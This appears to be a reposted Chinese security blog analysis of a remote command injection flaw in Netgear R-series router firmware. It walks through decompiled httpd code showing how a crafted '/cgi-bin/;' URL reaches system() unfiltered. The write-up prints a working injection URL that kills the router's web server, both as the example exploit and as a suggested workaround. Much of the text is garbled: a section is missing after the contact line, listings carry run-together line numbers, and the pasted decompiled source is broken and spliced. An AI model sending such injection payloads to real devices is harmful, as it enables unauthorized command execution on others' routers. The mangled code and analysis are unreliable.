NetGear R系列多款路由器远程命令注入漏洞分析


作者:k0pwn_ko

预估稿费:600RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei4.text:0000ABB4SUBSP,SP,command].text:0000ABBCSTRR1,[R11,var_418].text:0000ABC4LDRR0,[R11,aR_0;modes.text:0000ABD0BLpopen

popen可以执行系统函数,正是符合我们exp中的条件,但是却失落的发现,这里传递的值是sub_ABAC函数第一个参数,也就是0xB348,这是一个常量。

1.rodata:0000B348aInternetSetConDCB"internetsetconnectiongenieremote1",0

刚开始我脑洞有点开大了,想到的是类似于php的变量覆盖,会不会是URL传入的值,由于某些原因会覆盖到这个常量,后来还是否决了这个过程,一筹莫展的时候我想到了对比一下没有漏洞的版本(后来事实证明,我分析所谓没有漏洞的版本,也是有这个漏洞的),对比的时候发现R7000以后的路由版本采取https,在看配置文件的时候无意中发现了R7000中的/usr/sbin/httpd。

按照同样的思路,我找到了httpd中有两处函数调用可能调用到了系统函数,一处是popen,另一处是system。

12345678910.plt:0000E6BC;FILE*popen(constchar*command,constchar*modes).plt:0000E6BCpopen;CODEXREF:sub_73F40+3D4_x0019_p.plt:0000E6BC;sub_95B44+1BC_x0019_p.plt:0000E6BCADRLR12,0x1086C4.plt:0000E6C4LDRPC,[R12,(system_ptr-0x1076A4)]!;__imp_system

为了分析执行路径,我用了xrefs的功能,先来看看popen的。

执行路径比较简单,再来看看system的。

我整个人都崩溃了……后来我想到用cgi-bin搜索一下关键字,结果真的还有收获。

12.text:000110E8off_110E8DCDaCgiBin;DATAXREF:sub_100A0+1808_x0019_r.text:000110E8;"cgi-bin/"

通过这种方法,我找到了比较外层的函数调用sub_100A0,随后终于抓出了一条线。

这次对我这样对路由比较感兴趣的人来说也是一次学习的过程,下面进入对这个漏洞的详细分析。

0x04命令注入漏洞分析

首先我们下载R系列路由器的固件。

下载地址:

然后用binwalk-eM来迭代解压这个固件,获得这个固件的squashfs文件系统,这里生成的.squashfs文件需要用7zip来解压。

生成之后用IDA打开/usr/sbin/httpd,跟入sub_100A0函数,在这个函数中有一处调用。

1returnsub_19600((constchar*)v9,v246,v4);

这里会调用到sub_19600,其中涉及到三个参数,这里v9是我比较关心的,v9是什么呢,在sub_100A0函数中其实比较容易猜测。

123456if(!strstr((constchar*)v9,"")!strstr((constchar*)v9,"")!strstr((constchar*)v9,"")!strstr((constchar*)v9,"")!strstr((constchar*)v9,"multi_")(strncmp((constchar*)v9,"cgi-bin/",8u)||strstr((constchar*)v9,"RMT_invite_")))

在这个函数中涉及到大量的strstr子字符串比较,其中比较的内容就是某个常量和v9变量,猜测v9变量就是url的值,这里我们就假设v9的值就是exp的定义/IP-Addr/cgi-bin/;killall$IFS’httpd’

这里$IFS是Linux的内部域分隔符,这里可以看做是一个空格。

那么接下来跟入sub_19600。

1234567891011128char*__fastcallsub_19600(constchar*a1,constchar*a2,inta3){constchar*v3;//r6@1constchar*v4;//r4@1intv5;//r5@1char*result;//r0@1v3=a2;v4=a1;v5=a3;result=strstr(a1,"cgi-bin");if(result){if(acosNvramConfig_match((int)"cgi_debug_msg",(int)"1"))printf("\r\n%s(%d)url=%s\r\n","handle_options",1293,v4);result=(char*)sub_36C34(v3,v5,v4,2);}returnresult;}

比较简短,这里会打印一个url字符串,而url后面跟的%s就是v4,v4由a1而来,a1就是此函数第一个参数,所以第一个参数的确是url的值,接下来v4会作为第三个参数传入sub_36C34函数,漏洞就是在此函数中发生。

进入后,首先第三个参数,也就是url会交给v6。

1

v6=a3;

然后会判断v6中是否包含cgi-bin,如果包含,则进入内部处理,这里根据exp,是存在cgi-bin的,接下来进入处理,在处理的过程中,会判断是否包含?,如果包含?,则会给v47赋值,v47这个值我们要记住,在后面设置QUERY_STRING,我们会用到,但是实际上跟此漏洞没有关系。

这里为什么要用到?,就是QUERY_STRING是CGI接收GET参数的,这里默认GET参数是在?后面,就是由此而来。

12345678910111213141516v12=strstr(v6,"cgi-bin");if(v12){if(acosNvramConfig_match((int)unk_F0378,(int)"1"))printf("\r\n%s(%d)\r\n","netgear_commonCgi",76);if(strchr(v12,63)){if(acosNvramConfig_match((int)unk_F0378,(int)"1"))printf("\r\n%s(%d)\r\n","netgear_commonCgi",80);v13=strchr(v12,63);if(acosNvramConfig_match((int)unk_F0378,(int)"1"))printf("\r\n%s(%d)query_string=%s\r\n","netgear_commonCgi",86,v47);v14=strchr(v6,47);

当然,在exp中是不包含?的,因此这个if(strchr(v12,63))

语句不成立,则不进入这个处理,看一下下面的else语句。

在else语句中会进行字符串切割,切割的就是v12,也就是cgi-bin/;killall,这里注释里我写出了切割后地址指针指向的字符串内容。

比较关心的就是v20,v21和v22,其中由于切割后,后面不再包含47,也就是/的ascii码,因此v22为0,之后会对v50进行初始化。

12345678910else{if(acosNvramConfig_match((int)unk_F0378,(int)"2"))printf("\r\n%s(%d)\r\n","netgear_commonCgi",99);v19=strchr(v12,47);v20=v19+1;//;killv21=v19;///;killv22=strchr(v19+1,47);//v22=NULLmemset(v50,0,0x40u);//v50initv23=(char)v21;

然后就进入一系列的判断,判断的内容就是切割之后;kill后面还包含不包含/。

123456if(v21)v23=1;v24=v22==0;if(v22)v24=v21==0;if(v24)

这里显然是不包含的,因此v24为NULL,也就是v22的值。因此下面if语句就不通过,那么进入到else处理。

在else处理中,会将v50赋值,赋值的内容就是v20中从后往前数5字节,也就是;kill,这样v50就获得了我们的命令。可以看到这个过程没有任何过滤

1234567891011121314else{strncpy((char*)v50,v20,v22-1-v21);//v50=;killif(acosNvramConfig_match((int)unk_F0378,(int)"2"))printf("\r\n%s(%d)path_info=%s\r\n";v17=110;v18="netgear_commonCgi";gotoLABEL_34;}

随后会进入连续的goto跳转,跳转过程中主要还是打印一些信息,随后会进入到v7处理,v7处理代码挺长的,其中涉及到了QUERY_STRING环境变量的赋值,赋值内容就是v47。当然,我们漏洞的流程,由于没有?,所以不会进入这个流程。

12if((_BYTE)v47)setenv("QUERY_STRING",(constchar*)v47,1);

接下来就是漏洞触发的关键位置,由于我们不满足条件,就会执行下面的语句。

12v26="OPTIONS";v27=(char*)v53;

之后出来后会跳转,这里会拷贝v26,也就是OPTIONS到v27中,v27的值就是v53的地址值,之后跳转。

12strcpy(v27,v26);gotoLABEL_47;

跳转之后,会进入一系列判断,判断v53的值

123456789101112if(!strcmp((constchar*)v53,"POST")){v33=(constchar*)unk_F062B;v34=(char*)v45;}elseif(!strcmp((constchar*)v53,"OPTIONS")){}else{……}

这里省略了一部分过程,由于v53的值是OPTIONS,最后会有一处赋值,v34会赋值为v45的地址值,之后就进入漏洞触发的关键位置,这里会调用sprintf将v50,也就是我们命令的值交给v34。而v34的值就是v45地址的值,这样调用system(45)的时候,就执行了系统命令。

123456sprintf(v34,v33,v50);system((constchar*)v45);memset(v49,0,0x40u);memset(v48,0,0x40u);memset(v51,0,0x20u);memset(v52,0,0x10u);

而在我们分析的过程中,没有一处对这个命令值进行限制,最后导致了命令注入漏洞的发生。下面贴上整个源码。

12345678910111281920212223242526272829303373839404474849505575859606162636465666768697077778798088788899091929394959697989910010110210310410510610710810911011111211121122123124125126127128129371593711621631641651661671681693715919019119219319419519619719819920020120220320420520620720820921021121222221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258int__fastcallsub_36C34(constchar*a1,inta2,constchar*a3,inta4){v4=a1;v5=a2;v6=a3;v7=a4;v8=fork();v9=v8;if(!v8){if(fork()){v10=v9;gotoLABEL_101;}if(acosNvramConfig_match((int)unk_F0378,(int)"1"))printf("\r\\r");}v12=strstr(v6,"cgi-bin");if(v12){if(acosNvramConfig_match((int)unk_F0378,(int)"1"))printf("\r\n%s(%d)\r\n","netgear_commonCgi",76);if(strchr(v12,63)){if(acosNvramConfig_match((int)unk_F0378,(int)"1"))printf("\r\n%s(%d)\r\n","netgear_commonCgi",80);v13=strchr(v12,63);if(acosNvramConfig_match((int)unk_F0378,(int)"1"))printf("\r\n%s(%d)query_string=%s\r\n","netgear_commonCgi",86,v47);v14=strchr(v6,47);if(v14){v15=v50;memset(v50,0,0x40u);strncpy((char*)v50,v14+1,v13-1-v14);if(acosNvramConfig_match((int)unk_F0378,(int)"2")){v16="\r\ntmp1=%s,tmp2=%s,tmp3=%s,cgi=%s\r\n",v12,v21,v22,v50);v15=v46;strcpy((char*)v46,v22);if(acosNvramConfig_match((int)unk_F0378,(int)"2")){v16="\r\n%s(%d)request_method=%s\r\n","netgear_commonCgi",130,v53);if((_BYTE)v46)setenv("PATH_INFO",(constchar*)v46,1);if(acosNvramConfig_match((int)unk_F0378,(int)"2")){v28=getenv("PATH_INFO");printf("\r\n%s(%d)LD_LIBRARY_PATH=%s\r\n","netgear_commonCgi",140,v29);}setenv("REQUEST_METHOD",(constchar*)v53,1);if(acosNvramConfig_match((int)unk_F0378,(int)"2")){v30=getenv("REQUEST_METHOD");printf("\r\n%s(%d)\r\n","netgear_commonCgi",200);if(!strcmp((constchar*)v53,"POST")){v37="/tmp/post_result";}elseif(!strcmp((constchar*)v53,"OPTIONS")){v37="/tmp/options_result";}else{v37="/tmp/cgi_result";}v38=fopen(v37,"r");if(v38){if(acosNvramConfig_match((int)unk_F0378,(int)"1"))printf("\r\n%s(%d)\r\n","netgear_commonCgi",215);v39=strstr((constchar*)v44,"Status:");if(v39){strcpy((char*)v49,v39+7);v40=strchr((constchar*)v49,10);if(v40)*v40=0;if(acosNvramConfig_match((int)unk_F0378,(int)"2"))printf("\r\n%s(%d)http_hdr=%s\r\n","netgear_commonCgi",276,v43);v41=strlen((constchar*)v43);sub_F9E0(v5,v43,v41,0);if(acosNvramConfig_match((int)unk_F0378,(int)"2"))printf("\r\n======%s(%d)\r\n","netgear_commonCgi",280);v10=0;LABEL_101:exit(v10);}v26="OPTIONS";v27=(char*)v53;}}else{v26="GET";v27=(char*)v53;}strcpy(v27,v26);//key!gotoLABEL_47;}if(v80)waitpid(v8,v54,0);return0;}

0x05解决方案

临时方案:)利用这个漏洞,执行关闭WEB服务的命令,不会影响路由功能,从而进行缓解该漏洞。但是需注意重启之后会重新加载WEB服务。

1http://[router-address]/cgi-bin/;killall$IFS'httpd'

CERT官方建议停止使用该路由器,直到官方发布补丁修复。

发布于 2025-03-28
41
目录

    推荐阅读